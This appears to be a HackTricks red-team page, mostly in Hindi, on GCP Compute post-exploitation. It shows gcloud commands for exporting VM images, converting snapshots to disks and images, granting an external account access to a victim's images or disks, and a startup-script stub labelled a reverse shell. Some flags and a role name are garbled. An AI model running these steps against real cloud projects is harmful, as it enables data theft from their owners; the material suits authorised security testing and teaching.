GCP - Compute Post Exploitation

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Compute

For more information about Compute and VPC (Networking) check:

GCP - Compute Enum

Export & Inspect Images locally

यह एक हमलावर को already existing images के अंदर मौजूद डेटा तक पहुँचने या running VMs की नई images बनाने और बिना चल रहे VM में प्रवेश किए उनका डेटा एक्सेस करने की अनुमति देगा।

यह संभव है कि आप एक VM image को bucket में export कर सकें, फिर उसे download करके कमांड के जरिए स्थानीय रूप से mount कर सकें:

VM image को export और download करें ```bash gcloud compute images export --destination-uri gs:///image.vmdk --image imagetest --export-format vmdk # The download the export from the bucket and mount it locally ```

इस कार्रवाई को करने से पहले attacker को storage bucket पर privileges की आवश्यकता हो सकती है और निश्चित रूप से privileges over cloudbuild चाहिए क्योंकि यह वही service है जिसे export करने के लिए कहा जाएगा
इसके अलावा, इसके काम करने के लिए codebuild SA और compute SA को privileged permissions चाहिए होंगे।
cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com को चाहिए:

  • roles/iam.serviceAccountTokenCreator
  • roles/compute.admin
  • roles/iam.serviceAccountUser

और SA <project-id>-compute@developer.gserviceaccount.com को चाहिए:

  • oles/compute.storageAdmin
  • roles/storage.objectAdmin

Export & Inspect Snapshots & Disks locally

Snapshots और Disks को सीधे export करना संभव नहीं है, लेकिन संभव है कि आप एक snapshot को disk में बदलें, एक disk को image में बदलें और पिछला अनुभाग का पालन करते हुए उस image को export करके लोकली निरीक्षण करें

Create disk from snapshot and image from disk ```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

Create an image from a disk

gcloud compute images create [IMAGE_NAME] –source-disk=[NEW_DISK_NAME] –source-disk-zone=[ZONE]

</details>

### एक Image से VM बनाकर निरीक्षण

उद्देश्य यह है कि **image में संग्रहीत data** या उस **running VM** के भीतर मौजूद चीज़ों तक पहुँच प्राप्त की जा सके जहाँ एक **attacker** ने **image** बनाई है; इसके लिए किसी external account को उस image पर access देने की व्यवस्था की जा सकती है:

<details>

<summary>image को access दें और VM बनाएं</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

और फिर इससे एक नई VM instance बनाएं:

image से VM instance बनाएं ```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```

यदि आप अपनी external account को image पर access नहीं दे पाए, तो आप victim के project में उस image का उपयोग करके एक VM लॉन्च कर सकते हैं और image तक पहुँचने के लिए metadata को reverse shell execute करने के लिए सेट कर सकते हैं, param जोड़कर:

metadata में reverse shell के साथ VM बनाएं ```bash --metadata startup-script='#! /bin/bash echo "hello"; ' ```

Snapshot/Disk को VM से attach करके निरीक्षण करें

किसी disk या snapshot में संग्रहीत डेटा तक पहुँचने के लिए, आप snapshot को disk में बदल सकते हैं, disk को image में बदलकर पिछले चरणों का पालन कर सकते हैं।

या आप disk पर किसी external account को access दे सकते हैं (यदि प्रारंभिक बिंदु snapshot है तो snapshot पर access दें या उससे disk बनाएं):

disk को access दें ```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```

डिस्क संलग्न करें किसी instance पर:

डिस्क को instance पर संलग्न करें ```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```

VM के अंदर डिस्क माउंट करें:

  1. VM में SSH करें:
SSH into VM and mount disk
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. डिस्क की पहचान करें: एक बार VM के अंदर, डिस्क डिवाइस की सूची दिखाकर नई डिस्क की पहचान करें। सामान्यतः आप इसे /dev/sdb, /dev/sdc, आदि के रूप में पाएंगे।
  2. डिस्क को Format और Mount करें (यदि यह नई या raw डिस्क है):
  • एक माउंट पॉइंट बनाएं:
Create mount point and mount
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • डिस्क माउंट करें:
Mount disk device
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

यदि आप किसी external project को snapshot या disk तक access नहीं दे सकते हैं, तो आपको ये कार्य उसी project के instance के अंदर करना पड़ सकता है जहाँ snapshot/disk हैं।

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें